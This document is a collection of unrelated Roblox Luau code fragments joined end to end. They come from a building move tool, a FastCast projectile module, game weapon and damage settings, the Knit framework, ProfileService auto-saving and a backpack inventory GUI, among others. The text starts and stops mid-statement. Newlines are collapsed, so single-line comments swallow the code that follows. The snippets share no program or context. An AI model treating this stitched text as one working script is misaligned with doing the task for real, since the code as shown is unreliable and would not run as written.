Enum.KeyCode.KeypadTwo then self:NudgeSelectionByFace(Enum.NormalId.Bottom) -- Nudge forward if the 9 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadNine then self:NudgeSelectionByFace(Enum.NormalId.Front) -- Nudge backward if the 1 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadOne then self:NudgeSelectionByFace(Enum.NormalId.Back) -- Nudge left if the 4 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadFour then self:NudgeSelectionByFace(Enum.NormalId.Left) -- Nudge right if the 6 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadSix then self:NudgeSelectionByFace(Enum.NormalId.Right) -- Align the selection to the current target surface if T is pressed elseif (InputInfo.KeyCode == Enum.KeyCode.T) and (not Selection.Multiselecting) then self.FreeDragging:AlignSelectionToTarget() end end) -- Track ending user input while this tool is equipped self.Maid.HotkeyRelease = UserInputService.InputEnded:Connect(function (InputInfo, GameProcessedEvent) if GameProcessedEvent then return end -- Make sure this is input from the keyboard if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then return; end; -- Check if the R key was let go if InputInfo.KeyCode == Enum.KeyCode.R then -- Make sure it wasn't pressed while typing if UserInputService:GetFocusedTextBox() then return; end; -- Reset handles if not dragging if not self.FreeDragging.IsDragging then self:SetAxes(self.Axes) end -- Stop snapping point tracking if it was enabled SnapTracking.StopTracking(); -- If - key was released, focus on increment input elseif (InputInfo.KeyCode.Name == 'Minus') or (InputInfo.KeyCode.Name == 'KeypadMinus') then self.UIController:FocusIncrementInput() end end) end function MoveTool:StartSnapping() -- Starts tracking snap points nearest to the mouse -- Hide any handles or bounding boxes self.HandleDragging:AttachHandles(nil, true) BoundingBox.ClearBoundingBox(); -- Avoid targeting snap points in selected parts while dragging if self.FreeDragging.IsDragging then SnapTracking.TargetBlacklist = Selection.Items; end; -- Start tracking the closest snapping point SnapTracking.StartTracking(function (NewPoint) -- Fire `SnappedPoint` and update `SnappedPoint` when there is a new snap point in focus if NewPoint then self.SnappedPoint = NewPoint.p self.PointSnapped:Fire(self.SnappedPoint) end end) end function MoveTool:SetAxisPosition(Axis, Position) -- Sets the selection's position on axis `Axis` to `Position` -- Track this change self:TrackChange() -- Prepare parts to be moved local InitialStates = self:PreparePartsForDragging() -- Update each part for Part in pairs(InitialStates) do -- Set the part's new CFrame Part.CFrame = CFrame.new( Axis == 'X' and Position or Part.Position.X, Axis == 'Y' and Position or Part.Position.Y, Axis == 'Z' and Position or Part.Position.Z ) * (Part.CFrame - Part.CFrame.p); end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player); -- Revert changes if player is not authorized to move parts to target destination if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialStates) do Part.CFrame = State.CFrame; end; end; -- Restore the parts' original states for Part, State in pairs(InitialStates) do Part:MakeJoints(); Core.RestoreJoints(State.Joints); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change self:RegisterChange() end function MoveTool:NudgeSelectionByFace(Face) -- Nudges the selection along the current axes mode in the direction of the focused part's face -- Get amount to nudge by local NudgeAmount = self.Increment -- Reverse nudge amount if shift key is held while nudging local PressedKeys = Support.FlipTable(Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode')); if PressedKeys[Enum.KeyCode.LeftShift] or PressedKeys[Enum.KeyCode.RightShift] then NudgeAmount = -NudgeAmount; end; -- Track this change self:TrackChange() -- Prepare parts to be moved local InitialState, InitialFocusCFrame = self:PreparePartsForDragging() -- Perform the movement self:MovePartsAlongAxesByFace(Face, NudgeAmount, InitialState, InitialFocusCFrame) -- Indicate updated drag distance self.DragChanged:Fire(NudgeAmount) -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player); -- Revert changes if player is not authorized to move parts to target destination if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialState) do Part.CFrame = State.CFrame; end; end; -- Restore the parts' original states for Part, State in pairs(InitialState) do Part:MakeJoints(); Core.RestoreJoints(State.Joints); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change self:RegisterChange() end function MoveTool:TrackChange() -- Start the record self.HistoryRecord = { Parts = Support.CloneTable(Selection.Parts); BeforeCFrame = {}; AfterCFrame = {}; Selection = Selection.Items; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Record.Selection) -- Put together the change request local Changes = {}; for _, Part in pairs(Record.Parts) do table.insert(Changes, { Part = Part, CFrame = Record.BeforeCFrame[Part] }); end; -- Send the change request Core.SyncAPI:Invoke('SyncMove', Changes); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Record.Selection) -- Put together the change request local Changes = {}; for _, Part in pairs(Record.Parts) do table.insert(Changes, { Part = Part, CFrame = Record.AfterCFrame[Part] }); end; -- Send the change request Core.SyncAPI:Invoke('SyncMove', Changes); end; }; -- Collect the selection's initial state for _, Part in pairs(self.HistoryRecord.Parts) do self.HistoryRecord.BeforeCFrame[Part] = Part.CFrame end end function MoveTool:RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not self.HistoryRecord then return end -- Collect the selection's final state local Changes = {}; for _, Part in pairs(self.HistoryRecord.Parts) do self.HistoryRecord.AfterCFrame[Part] = Part.CFrame table.insert(Changes, { Part = Part, CFrame = Part.CFrame }); end; -- Send the change to the server Core.SyncAPI:Invoke('SyncMove', Changes); -- Register the record and clear the staging Core.History.Add(self.HistoryRecord) self.HistoryRecord = nil end function MoveTool:PreparePartsForDragging() -- Prepares parts for dragging and returns the initial state of the parts local InitialState = {}; -- Get index of parts local PartIndex = Support.FlipTable(Selection.Parts) -- Stop parts from moving, and capture the initial state of the parts for _, Part in pairs(Selection.Parts) do InitialState[Part] = { Anchored = Part.Anchored, CanCollide = Part.CanCollide, CFrame = Part.CFrame }; Part.Anchored = true; Part.CanCollide = false; InitialState[Part].Joints = Core.PreserveJoints(Part, PartIndex); Part:BreakJoints(); Part.Velocity = Vector3.new(); Part.RotVelocity = Vector3.new(); end; -- Get initial state of focused item local InitialFocusCFrame local Focus = Selection.Focus if not Focus then InitialFocusCFrame = nil elseif Focus:IsA 'BasePart' then InitialFocusCFrame = Focus.CFrame elseif Focus:IsA 'Model' then InitialFocusCFrame = Focus:GetModelCFrame() end return InitialState, InitialFocusCFrame end;
-- Tell owner to show footsteps
game.ReplicatedStorage.Interactions.Client.Perks.AllowDetective:FireClient(script.Owner.Value)
-- This finds the tank that we are controlling
parts = script.Parent.Parent.Parent.Turret.Value; tankStats = parts.Stats; game.Workspace.CurrentCamera.CameraType = "Track" game.Workspace.CurrentCamera.CameraSubject = parts.CameraPart
---- STATE MODIFICATION ----
function ActiveCastStatic:Pause() assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Pause", "ActiveCast.new(...)")) assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) self.StateInfo.Paused = true end function ActiveCastStatic:Resume() assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Resume", "ActiveCast.new(...)")) assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) self.StateInfo.Paused = false end function ActiveCastStatic:Terminate() assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Terminate", "ActiveCast.new(...)")) assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) -- First: Set EndTime on the latest trajectory since it is now done simulating. local trajectories = self.StateInfo.Trajectories local lastTrajectory = trajectories[#trajectories] lastTrajectory.EndTime = self.StateInfo.TotalRuntime -- Disconnect the update connection. self.StateInfo.UpdateConnection:Disconnect() -- Now fire CastTerminating self.Caster.CastTerminating:FireSync(self) -- And now set the update connection object to nil. self.StateInfo.UpdateConnection = nil -- And nuke everything in the table + clear the metatable. self.Caster = nil self.StateInfo = nil self.RayInfo = nil self.UserData = nil setmetatable(self, nil) end return ActiveCastStatic
-- Protected
function BaseState:_Enter() self.offStateTime = 0 self:Enter() end
--// Damage Settings
BaseDamage = 38; -- Torso Damage LimbDamage = 30; -- Arms and Legs ArmorDamage = 18; -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 1000; -- If you set this to 100, there's a chance the player won't die because of the heal script
-- and (IsServer or weaponInstance:IsDescendantOf(Players.LocalPlayer))
function WeaponsSystem.onWeaponAdded(weaponInstance) local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance) if not weapon then WeaponsSystem.createWeaponForInstance(weaponInstance) end end function WeaponsSystem.onWeaponRemoved(weaponInstance) local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance) if weapon then weapon:onDestroyed() end WeaponsSystem.knownWeapons[weaponInstance] = nil end function WeaponsSystem.getRemoteEvent(name) if not WeaponsSystem.networkFolder then return end local remoteEvent = WeaponsSystem.remoteEvents[name] if IsServer then if not remoteEvent then warn("No RemoteEvent named ", name) return nil end return remoteEvent else if not remoteEvent then remoteEvent = WeaponsSystem.networkFolder:WaitForChild(name, math.huge) end return remoteEvent end end function WeaponsSystem.getRemoteFunction(name) if not WeaponsSystem.networkFolder then return end local remoteFunc = WeaponsSystem.remoteFunctions[name] if IsServer then if not remoteFunc then warn("No RemoteFunction named ", name) return nil end return remoteFunc else if not remoteFunc then remoteFunc = WeaponsSystem.networkFolder:WaitForChild(name, math.huge) end return remoteFunc end end function WeaponsSystem.setWeaponEquipped(weapon, equipped) assert(not IsServer, "WeaponsSystem.setWeaponEquipped should only be called on the client.") if not weapon then return end local lastWeapon = WeaponsSystem.currentWeapon local hasWeapon = false local weaponChanged = false if lastWeapon == weapon then if not equipped then WeaponsSystem.currentWeapon = nil hasWeapon = false weaponChanged = true else weaponChanged = false end else if equipped then WeaponsSystem.currentWeapon = weapon hasWeapon = true weaponChanged = true end end if WeaponsSystem.camera then WeaponsSystem.camera:resetZoomFactor() WeaponsSystem.camera:setHasScope(false) if WeaponsSystem.currentWeapon then WeaponsSystem.camera:setZoomFactor(WeaponsSystem.currentWeapon:getConfigValue("ZoomFactor", 1.1)) WeaponsSystem.camera:setHasScope(WeaponsSystem.currentWeapon:getConfigValue("HasScope", false)) end end if WeaponsSystem.gui then WeaponsSystem.gui:setEnabled(hasWeapon) if WeaponsSystem.currentWeapon then WeaponsSystem.gui:setCrosshairWeaponScale(WeaponsSystem.currentWeapon:getConfigValue("CrosshairScale", 1)) else WeaponsSystem.gui:setCrosshairWeaponScale(1) end end if weaponChanged then WeaponsSystem.CurrentWeaponChanged:Fire(weapon.instance, lastWeapon and lastWeapon.instance) end end function WeaponsSystem.getHumanoid(part) while part and part ~= workspace do if part:IsA("Model") and part.PrimaryPart and part.PrimaryPart.Name == "HumanoidRootPart" then return part:FindFirstChildOfClass("Humanoid") end part = part.Parent end end function WeaponsSystem.getPlayerFromHumanoid(humanoid) for _, player in ipairs(Players:GetPlayers()) do if player.Character and humanoid:IsDescendantOf(player.Character) then return player end end end local function _defaultDamageCallback(system, target, amount, damageType, dealer, hitInfo, damageData) if target:IsA("Humanoid") then target:TakeDamage(amount) end end function WeaponsSystem.doDamage(target, amount, damageType, dealer, hitInfo, damageData) if not target or ancestorHasTag(target, "WeaponsSystemIgnore") then return end if IsServer then if target:IsA("Humanoid") and dealer:IsA("Player") and dealer.Character then local dealerHumanoid = dealer.Character:FindFirstChildOfClass("Humanoid") local targetPlayer = Players:GetPlayerFromCharacter(target.Parent) if dealerHumanoid and target ~= dealerHumanoid and targetPlayer then -- Trigger the damage indicator WeaponData:FireClient(targetPlayer, "HitByOtherPlayer", dealer.Character.HumanoidRootPart.CFrame.Position) end end -- NOTE: damageData is a more or less free-form parameter that can be used for passing information from the code that is dealing damage about the cause. -- .The most obvious usage is extracting icons from the various weapon types (in which case a weapon instance would likely be passed in) -- ..The default weapons pass in that data local handler = _damageCallback or _defaultDamageCallback handler(WeaponsSystem, target, amount, damageType, dealer, hitInfo, damageData) end end local function _defaultGetTeamCallback(player) return player.Team end function WeaponsSystem.getTeam(player) local handler = _getTeamCallback or _defaultGetTeamCallback return handler(player) end function WeaponsSystem.playersOnDifferentTeams(player1, player2) if player1 == player2 or player1 == nil or player2 == nil then -- This allows players to damage themselves and NPC's return true end local player1Team = WeaponsSystem.getTeam(player1) local player2Team = WeaponsSystem.getTeam(player2) return player1Team == 0 or player1Team ~= player2Team end return WeaponsSystem
--[=[ @return Promise Starts Knit. Should only be called once per client. ```lua Knit.Start():andThen(function() print("Knit started!") end):catch(warn) ``` By default, service methods exposed to the client will return promises. To change this behavior, set the `ServicePromises` option to `false`: ```lua Knit.Start({ServicePromises = false}):andThen(function() print("Knit started!") end):catch(warn) ``` ]=]
function KnitClient.Start(options: KnitOptions?) if started then return Promise.reject("Knit already started") end started = true if options == nil then selectedOptions = defaultOptions else assert(typeof(options) == "table", `KnitOptions should be a table or nil; got {typeof(options)}`) selectedOptions = options for k, v in defaultOptions do if selectedOptions[k] == nil then selectedOptions[k] = v end end end if type(selectedOptions.PerServiceMiddleware) ~= "table" then selectedOptions.PerServiceMiddleware = {} end return Promise.new(function(resolve) -- Init: local promisesStartControllers = {} for _, controller in controllers do if type(controller.KnitInit) == "function" then table.insert( promisesStartControllers, Promise.new(function(r) debug.setmemorycategory(controller.Name) controller:KnitInit() r() end) ) end end resolve(Promise.all(promisesStartControllers)) end):andThen(function() -- Start: for _, controller in controllers do if type(controller.KnitStart) == "function" then task.spawn(function() debug.setmemorycategory(controller.Name) controller:KnitStart() end) end end startedComplete = true onStartedComplete:Fire() task.defer(function() onStartedComplete:Destroy() end) end) end
--------------------[ CAMERA STEADYING FUNCTIONS ]------------------------------------
function SteadyCamera() Gui_Clone.Scope.Steady.Text = "Steadying..." Gui_Clone.Scope.Steady.TextColor3 = Color3.new(1, 1, 0) CameraSteady = true local OriginalSway = CameraSway for X = 0, 90, 1.5 / 0.6 do if (not Run_Key_Pressed) then break end local Alpha = SIN(RAD(X)) CameraSway = NumLerp(OriginalSway, 0, Alpha) RS:wait() end while Run_Key_Pressed and Aimed do if CurrentSteadyTime > 0 then local NewSteadyTime = CurrentSteadyTime - 1 CurrentSteadyTime = (NewSteadyTime < 0 and 0 or NewSteadyTime) CameraSway = 0 elseif CurrentSteadyTime == 0 then break end RS:wait() end CameraSteady = false spawn(function() for X = 0, 90, 1.5 / 0.2 do local Alpha = math.log10(X) / math.log10(90) CameraSway = NumLerp(0, 3, Alpha) RS:wait() end for X = 0, 90, 1.5 / S.ScopeSteadyTime do if CameraSteady then break end local Alpha = SIN(RAD(X)) CameraSway = NumLerp(3, 1, Alpha) RS:wait() end end) RetakeBreath() end function RetakeBreath() local Steady = Gui_Clone.Scope.Steady Steady.Text = "Re-taking Breath" Steady.TextColor3 = Color3.new(1, 0, 0) TakingBreath = true while TakingBreath do if CurrentSteadyTime < MaxSteadyTime then local NewSteadyTime = CurrentSteadyTime + (S.ScopeSteadyTime / S.SteadyCooldownTime) CurrentSteadyTime = (NewSteadyTime > MaxSteadyTime and MaxSteadyTime or NewSteadyTime) elseif CurrentSteadyTime >= MaxSteadyTime then break end RS:wait() end if TakingBreath then Steady.Text = "Hold "..ConvertKey(S.ScopeSteadyKey).." to Steady" Steady.TextColor3 = Color3.new(1, 1, 0) TakingBreath = false end end
--local speed = script.Parent.Speed
local tweenInfo = TweenInfo.new( speed, -- Length (seconds) Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, -- times repeared false, -- reverse delayed -- delay ) goals[ 1 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -30 ), 0 ) goals[ 2 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -60 ), 0 ) goals[ 3 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -90 ), 0 ) goals[ 4 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -120 ), 0 ) goals[ 5 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -150 ), 0 ) goals[ 6 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -180 ), 0 ) goals[ 7 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -210 ), 0 ) goals[ 8 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -240 ), 0 ) goals[ 9 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -270 ), 0 ) goals[ 10 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -300 ), 0 ) goals[ 11 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -330 ), 0 ) goals[ 12 ] = spin.CFrame local i = 0 while spinning do i = i % #goals + 1 local tween = TweenService:Create( spin, tweenInfo, { CFrame = goals[ i ] } ) tween:Play() local state = tween.Completed:Wait() if state == Enum.PlaybackState.Cancelled then warn( 'Tween cancelled' ) break end end
--- Replaces arguments in the format $1, $2, $something with whatever the -- given function returns for it.
function Util.SubstituteArgs(str, replace) str = encodeCommandEscape(str) -- Convert numerical keys to strings if type(replace) == "table" then for i = 1, #replace do local k = tostring(i) replace[k] = replace[i] if replace[k]:find("%s") then replace[k] = string.format("%q", replace[k]) end end end return decodeCommandEscape(str:gsub("($%d+)%b{}", "%1"):gsub("$(%w+)", replace)) end
--[=[ Unpacks the brio, and then repacks it. Ignored items still invalidate the previous brio @since 3.6.0 @param predicate (T) -> boolean @return (source: Observable<Brio<T>>) -> Observable<Brio<T>> ]=]
function RxBrioUtils.where(predicate) assert(type(predicate) == "function", "Bad predicate") return function(source) return Observable.new(function(sub) local maid = Maid.new() maid:GiveTask(source:Subscribe(function(brio) assert(Brio.isBrio(brio), "Not a brio") if brio:IsDead() then return end if predicate(brio:GetValue()) then sub:Fire(brio) end end, sub:GetFailComplete())) return maid end) end end
-- Auto saving and issue queue managing:
RunService.Heartbeat:Connect(function() -- 1) Auto saving: -- local auto_save_list_length = #AutoSaveList if auto_save_list_length > 0 then local auto_save_index_speed = SETTINGS.AutoSaveProfiles / auto_save_list_length local os_clock = os.clock() while os_clock - LastAutoSave > auto_save_index_speed do LastAutoSave = LastAutoSave + auto_save_index_speed local profile = AutoSaveList[AutoSaveIndex] if os_clock - profile._load_timestamp < SETTINGS.AutoSaveProfiles then -- This profile is freshly loaded - auto-saving immediately after loading will cause a warning in the log: profile = nil for i = 1, auto_save_list_length - 1 do -- Move auto save index to the right: AutoSaveIndex = AutoSaveIndex + 1 if AutoSaveIndex > auto_save_list_length then AutoSaveIndex = 1 end profile = AutoSaveList[AutoSaveIndex] if os_clock - profile._load_timestamp >= SETTINGS.AutoSaveProfiles then break else profile = nil end end end -- Move auto save index to the right: AutoSaveIndex = AutoSaveIndex + 1 if AutoSaveIndex > auto_save_list_length then AutoSaveIndex = 1 end -- Perform save call: -- print("[ProfileService]: Auto updating profile - profile_store_name = \"" .. profile._profile_store._profile_store_name .. "\"; profile_key = \"" .. profile._profile_key .. "\"") if profile ~= nil then coroutine.wrap(SaveProfileAsync)(profile) -- Auto save profile in new thread end end end -- 2) Issue queue: -- -- Critical state handling: if ProfileService.CriticalState == false then if #IssueQueue >= SETTINGS.IssueCountForCriticalState then ProfileService.CriticalState = true ProfileService.CriticalStateSignal:Fire(true) CriticalStateStart = os.clock() warn("[ProfileService]: Entered critical state") end else if #IssueQueue >= SETTINGS.IssueCountForCriticalState then CriticalStateStart = os.clock() elseif os.clock() - CriticalStateStart > SETTINGS.CriticalStateLast then ProfileService.CriticalState = false ProfileService.CriticalStateSignal:Fire(false) warn("[ProfileService]: Critical state ended") end end -- Issue queue: while true do local issue_time = IssueQueue[1] if issue_time == nil then break elseif os.clock() - issue_time > SETTINGS.IssueLast then table.remove(IssueQueue, 1) else break end end end)
-- ==================== -- SHOTGUN -- Enable the gun to fire multiple bullet in one shot -- ====================
ShotgunEnabled = false; BulletPerShot = 8; ShotgunReload = false; --Make user reloading like Shotgun, which user clipin shell one by one ShotgunClipinAnimationID = nil; --Set to "nil" if you don't want to animate ShotgunClipinAnimationSpeed = 1; ShellClipinSpeed = 0.5; --In second
-- Backpack Version 5.1 -- OnlyTwentyCharacters, SolarCrane
local BackpackScript = {} BackpackScript.OpenClose = nil -- Function to toggle open/close BackpackScript.IsOpen = false BackpackScript.StateChanged = Instance.new("BindableEvent") -- Fires after any open/close, passes IsNowOpen BackpackScript.ModuleName = "Backpack" BackpackScript.KeepVRTopbarOpen = true BackpackScript.VRIsExclusive = true BackpackScript.VRClosesNonExclusive = true local ICON_SIZE = 55 local FONT_SIZE = Enum.FontSize.Size14 local ICON_BUFFER = 6.5 local BACKGROUND_FADE = 0.6 local BACKGROUND_COLOR = Color3.new(31/255, 31/255, 31/255) local VR_FADE_TIME = 1 local VR_PANEL_RESOLUTION = 100 local SLOT_DRAGGABLE_COLOR = Color3.new(0.176471, 0.176471, 0.176471) local SLOT_DRAGGABLE_TRANSPARENCY = 0.4 local SLOT_EQUIP_COLOR = Color3.new(1, 0.772549, 0.309804) local SLOT_EQUIP_THICKNESS = 0 -- Relative local SLOT_FADE_LOCKED = 0.6 -- Locked means undraggable local SLOT_BORDER_COLOR = Color3.new(0.411765, 0.619608, 1) -- Appears when dragging local TOOLTIP_BUFFER = 6 local TOOLTIP_HEIGHT = 16 local TOOLTIP_OFFSET = -25 -- From top local ARROW_IMAGE_OPEN = 'rbxasset://textures/ui/TopBar/inventoryOn.png' local ARROW_IMAGE_CLOSE = 'rbxasset://textures/ui/TopBar/inventoryOff.png' local ARROW_HOTKEY = {Enum.KeyCode.Backquote, Enum.KeyCode.DPadUp} --TODO: Hookup '~' too? local ICON_MODULE = script.Icon local HOTBAR_SLOTS_FULL = 10 local HOTBAR_SLOTS_VR = 6 local HOTBAR_SLOTS_MINI = 4 local HOTBAR_SLOTS_WIDTH_CUTOFF = 1024 -- Anything smaller is MINI local HOTBAR_OFFSET_FROMBOTTOM = -30 -- Offset to make room for the Health GUI local INVENTORY_ROWS_FULL = 4 local INVENTORY_ROWS_VR = 3 local INVENTORY_ROWS_MINI = 2 local INVENTORY_HEADER_SIZE = 25 local INVENTORY_ARROWS_BUFFER_VR = 40 local SEARCH_BUFFER = 4 local SEARCH_WIDTH = 125 local SEARCH_TEXT = "Search" local SEARCH_TEXT_OFFSET_FROMLEFT = 0 local SEARCH_BACKGROUND_COLOR = Color3.new(0, 0, 0) local SEARCH_BACKGROUND_FADE = 0.7 local DOUBLE_CLICK_TIME = 0.5 local GetScreenResolution = function () local I = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui) local Frame = Instance.new("Frame", I) Frame.BackgroundTransparency = 1 Frame.Size = UDim2.new(1,0,1,0) local AbsoluteSize = Frame.AbsoluteSize I:Destroy() return AbsoluteSize end local ZERO_KEY_VALUE = Enum.KeyCode.Zero.Value local DROP_HOTKEY_VALUE = Enum.KeyCode.Backspace.Value local GAMEPAD_INPUT_TYPES = { [Enum.UserInputType.Gamepad1] = true; [Enum.UserInputType.Gamepad2] = true; [Enum.UserInputType.Gamepad3] = true; [Enum.UserInputType.Gamepad4] = true; [Enum.UserInputType.Gamepad5] = true; [Enum.UserInputType.Gamepad6] = true; [Enum.UserInputType.Gamepad7] = true; [Enum.UserInputType.Gamepad8] = true; } local UserInputService = game:GetService('UserInputService') local PlayersService = game:GetService('Players') local ReplicatedStorage = game:GetService('ReplicatedStorage') local StarterGui = game:GetService('StarterGui') local GuiService = game:GetService('GuiService') local CoreGui = PlayersService.LocalPlayer.PlayerGui local TopbarPlusReference = ReplicatedStorage:FindFirstChild("TopbarPlusReference") local BackpackEnabled = true if TopbarPlusReference then ICON_MODULE = TopbarPlusReference.Value end local RobloxGui = Instance.new("ScreenGui", CoreGui) RobloxGui.DisplayOrder = 120 RobloxGui.IgnoreGuiInset = true RobloxGui.ResetOnSpawn = false RobloxGui.Name = "BackpackGui" local CanHover = true local ContextActionService = game:GetService("ContextActionService") local RunService = game:GetService('RunService') local VRService = game:GetService('VRService') local Utility = require(script.Utility) local GameTranslator = require(script.GameTranslator) local Themes = require(ICON_MODULE.Themes) local Icon = require(ICON_MODULE) local FFlagBackpackScriptUseFormatByKey = true local FFlagCoreScriptTranslateGameText2 = true local FFlagRobloxGuiSiblingZindexs = true local IsTenFootInterface = GuiService:IsTenFootInterface() if IsTenFootInterface then ICON_SIZE = 100 FONT_SIZE = Enum.FontSize.Size24 end local GamepadActionsBound = false local IS_PHONE = UserInputService.TouchEnabled and GetScreenResolution().X < HOTBAR_SLOTS_WIDTH_CUTOFF local Player = PlayersService.LocalPlayer local MainFrame = nil local HotbarFrame = nil local InventoryFrame = nil local VRInventorySelector = nil local ScrollingFrame = nil local UIGridFrame = nil local UIGridLayout = nil local ScrollUpInventoryButton = nil local ScrollDownInventoryButton = nil local Character = Player.Character or Player.CharacterAdded:Wait() local Humanoid = Character:FindFirstChildOfClass("Humanoid") local Backpack = Player:WaitForChild("Backpack") local InventoryIcon = Icon.new() InventoryIcon:setImage(ARROW_IMAGE_CLOSE, "deselected") InventoryIcon:setImage(ARROW_IMAGE_OPEN, "selected") InventoryIcon:setTheme(Themes.BlueGradient) InventoryIcon:bindToggleKey(ARROW_HOTKEY[1], ARROW_HOTKEY[2]) InventoryIcon:setName("InventoryIcon") InventoryIcon:setImageYScale(1.12) InventoryIcon:setOrder(-5) InventoryIcon.deselectWhenOtherIconSelected = false local Slots = {} -- List of all Slots by index local LowestEmptySlot = nil local SlotsByTool = {} -- Map of Tools to their assigned Slots local HotkeyFns = {} -- Map of KeyCode values to their assigned behaviors local Dragging = {} -- Only used to check if anything is being dragged, to disable other input local FullHotbarSlots = 0 -- Now being used to also determine whether or not LB and RB on the gamepad are enabled. local StarterToolFound = false -- Special handling is required for the gear currently equipped on the site local WholeThingEnabled = false local TextBoxFocused = false -- ANY TextBox, not just the search box local ViewingSearchResults = false -- If the results of a search are currently being viewed local HotkeyStrings = {} -- Used for eating/releasing hotkeys local CharConns = {} -- Holds character Connections to be cleared later local GamepadEnabled = false -- determines if our gui needs to be gamepad friendly local TimeOfLastToolChange = 0 local IsVR = VRService.VREnabled -- Are we currently using a VR device? local NumberOfHotbarSlots = IsVR and HOTBAR_SLOTS_VR or (IS_PHONE and HOTBAR_SLOTS_MINI or HOTBAR_SLOTS_FULL) -- Number of slots shown at the bottom local NumberOfInventoryRows = IsVR and INVENTORY_ROWS_VR or (IS_PHONE and INVENTORY_ROWS_MINI or INVENTORY_ROWS_FULL) -- How many rows in the popped-up inventory local BackpackPanel = nil local lastEquippedSlot = nil local function EvaluateBackpackPanelVisibility(enabled) return enabled and InventoryIcon.enabled and BackpackEnabled and VRService.VREnabled end local function ShowVRBackpackPopup() if BackpackPanel and EvaluateBackpackPanelVisibility(true) then BackpackPanel:ForceShowForSeconds(2) end end local function NewGui(className, objectName) local newGui = Instance.new(className) newGui.Name = objectName newGui.BackgroundColor3 = Color3.new(0, 0, 0) newGui.BackgroundTransparency = 1 newGui.BorderColor3 = Color3.new(0, 0, 0) newGui.BorderSizePixel = 0 newGui.Size = UDim2.new(1, 0, 1, 0) if className:match('Text') then newGui.TextColor3 = Color3.new(1, 1, 1) newGui.Text = '' newGui.Font = Enum.Font.SourceSans newGui.FontSize = FONT_SIZE newGui.TextWrapped = true if className == 'TextButton' then newGui.Font = Enum.Font.SourceSansSemibold newGui.BorderSizePixel = 1 end end return newGui end local function FindLowestEmpty() for i = 1, NumberOfHotbarSlots do local slot = Slots[i] if not slot.Tool then return slot end end return nil end local function isInventoryEmpty() for i = NumberOfHotbarSlots + 1, #Slots do local slot = Slots[i] if slot and slot.Tool then return false end end return true end local function UseGazeSelection() return UserInputService.VREnabled end local function AdjustHotbarFrames() local inventoryOpen = InventoryFrame.Visible -- (Show all) local visualTotal = (inventoryOpen) and NumberOfHotbarSlots or FullHotbarSlots local visualIndex = 0 local hotbarIsVisible = (visualTotal >= 1) for i = 1, NumberOfHotbarSlots do local slot = Slots[i] if slot.Tool or inventoryOpen then visualIndex = visualIndex + 1 slot:Readjust(visualIndex, visualTotal) slot.Frame.Visible = true else slot.Frame.Visible = false end end end local function UpdateScrollingFrameCanvasSize() local countX = math.floor(ScrollingFrame.AbsoluteSize.X/(ICON_SIZE + ICON_BUFFER)) local maxRow = math.ceil((#UIGridFrame:GetChildren() - 1)/countX) local canvasSizeY = maxRow*(ICON_SIZE + ICON_BUFFER) + ICON_BUFFER ScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, canvasSizeY) end local function AdjustInventoryFrames() for i = NumberOfHotbarSlots + 1, #Slots do local slot = Slots[i] slot.Frame.LayoutOrder = slot.Index slot.Frame.Visible = (slot.Tool ~= nil) end UpdateScrollingFrameCanvasSize() end local function UpdateBackpackLayout() HotbarFrame.Size = UDim2.new(0, ICON_BUFFER + (NumberOfHotbarSlots * (ICON_SIZE + ICON_BUFFER)) + 120, 0, ICON_BUFFER + ICON_SIZE + ICON_BUFFER) HotbarFrame.Position = UDim2.new(0.5, -HotbarFrame.Size.X.Offset / 2, 1, -HotbarFrame.Size.Y.Offset) InventoryFrame.Size = UDim2.new(0, HotbarFrame.Size.X.Offset, 0, (HotbarFrame.Size.Y.Offset * NumberOfInventoryRows) + INVENTORY_HEADER_SIZE + (IsVR and 2*INVENTORY_ARROWS_BUFFER_VR or 0)) InventoryFrame.Position = UDim2.new(0.5, -InventoryFrame.Size.X.Offset / 2, 1, HotbarFrame.Position.Y.Offset - InventoryFrame.Size.Y.Offset) local uic = Instance.new("UICorner") uic.CornerRadius = UDim.new(0.015, 0) uic.Parent = InventoryFrame ScrollingFrame.Size = UDim2.new(1, 